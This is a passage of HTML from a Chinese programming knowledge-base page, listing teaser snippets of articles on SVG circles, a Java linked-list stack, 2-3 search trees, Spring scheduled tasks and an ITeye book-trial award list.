href="/search/svg/1.htm">svg</a> <div>SVG <circle> SVG 圆形 - <circle> <circle> 标签可用来创建一个圆：下面是SVG代码： <svg xmlns="http://www.w3.org/2000/svg" version="1.1"> <circle cx="100" c</div> </li> <li><a href="/article/3338.htm" title="链表栈" target="_blank">链表栈</a> <span class="text-muted">luyulong</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/1.htm">数据结构</a> <div> public class Node { private Object object; private Node next; public Node() { this.next = null; this.object = null; } public Object getObject() { return object; } public</div> </li> <li><a href="/article/3465.htm" title="基础数据结构和算法十：2-3 search tree" target="_blank">基础数据结构和算法十：2-3 search tree</a> <span class="text-muted">sunwinner</span> <a class="tag" taget="_blank" href="/search/Algorithm/1.htm">Algorithm</a><a class="tag" taget="_blank" href="/search/2-3+search+tree/1.htm">2-3 search tree</a> <div>  Binary search tree works well for a wide variety of applications, but they have poor worst-case performance. Now we introduce a type of binary search tree where costs are guaranteed to be loga</div> </li> <li><a href="/article/3592.htm" title="spring配置定时任务" target="_blank">spring配置定时任务</a> <span class="text-muted">stunizhengjia</span> <a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a><a class="tag" taget="_blank" href="/search/timer/1.htm">timer</a> <div>最近因工作的需要，用到了spring的定时任务的功能,觉得spring还是很智能化的,只需要配置一下配置文件就可以了,在此记录一下，以便以后用到：     //------------------------定时任务调用的方法------------------------------ /** * 存储过程定时器 */ publi</div> </li> <li><a href="/article/3719.htm" title="ITeye 8月技术图书有奖试读获奖名单公布" target="_blank">ITeye 8月技术图书有奖试读获奖名单公布</a> <span class="text-muted">ITeye管理员</span> <a class="tag" taget="_blank" href="/search/%E6%B4%BB%E5%8A%A8/1.htm">活动</a> <div>ITeye携手博文视点举办的8月技术图书有奖试读活动已圆满结束，非常感谢广大用户对本次活动的关注与参与。 8月试读活动回顾： http://webmaster.iteye.com/blog/2102830 本次技术图书试读活动的优秀奖获奖名单及相应作品如下（优秀文章有很多，但名额有限，没获奖并不代表不优秀）：《跨终端Web》 gleams：http</div> </li> </ul> </div> </div> </div> <div> <div class="container"> <div class="indexes"> <strong>按字母分类：</strong> <a href="/tags/A/1.htm" target="_blank">A</a><a href="/tags/B/1.htm" target="_blank">B</a><a href="/tags/C/1.htm" target="_blank">C</a><a href="/tags/D/1.htm" target="_blank">D</a><a href="/tags/E/1.htm" target="_blank">E</a><a href="/tags/F/1.htm" target="_blank">F</a><a href="/tags/G/1.htm" target="_blank">G</a><a href="/tags/H/1.htm" target="_blank">H</a><a href="/tags/I/1.htm" target="_blank">I</a><a href="/tags/J/1.htm" target="_blank">J</a><a href="/tags/K/1.htm" target="_blank">K</a><a href="/tags/L/1.htm" target="_blank">L</a><a href="/tags/M/1.htm" target="_blank">M</a><a href="/tags/N/1.htm" target="_blank">N</a><a href="/tags/O/1.htm" target="_blank">O</a><a href="/tags/P/1.htm" target="_blank">P</a><a href="/tags/Q/1.htm" target="_blank">Q</a><a href="/tags/R/1.htm" target="_blank">R</a><a href="/tags/S/1.htm" target="_blank">S</a><a href="/tags/T/1.htm" target="_blank">T</a><a href="/tags/U/1.htm" target="_blank">U</a><a href="/tags/V/1.htm" target="_blank">V</a><a href="/tags/W/1.htm" target="_blank">W</a><a href="/tags/X/1.htm" target="_blank">X</a><a href="/tags/Y/1.htm" target="_blank">Y</a><a href="/tags/Z/1.htm" target="_blank">Z</a><a href="/tags/0/1.htm" target="_blank">其他</a> </div> </div> </div> <footer id="footer" class="mb30 mt30"> <div class="container"> <div class="footBglm"> <a target="_blank" href="/">首页</a> - <a target="_blank" href="/custom/about.htm">关于我们</a> - <a target="_blank" href="/search/Java/1.htm">站内搜索</a> - <a target="_blank" href="/sitemap.txt">Sitemap</a> - <a target="_blank" href="/custom/delete.htm">侵权投诉</a> </div> <div class="copyright">版权所有 IT知识库 CopyRight © 2000-2050 E-COM-NET.COM , All Rights Reserved.  </div> </div> </footer>  <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shCore.js"></script> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shLegacy.js"></script> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shAutoloader.js"></script> <link type="text/css" rel="stylesheet" href="/static/syntaxhighlighter/styles/shCoreDefault.css"/> <script type="text/javascript" src="/static/syntaxhighlighter/src/my_start_1.js"></script> </body> </html>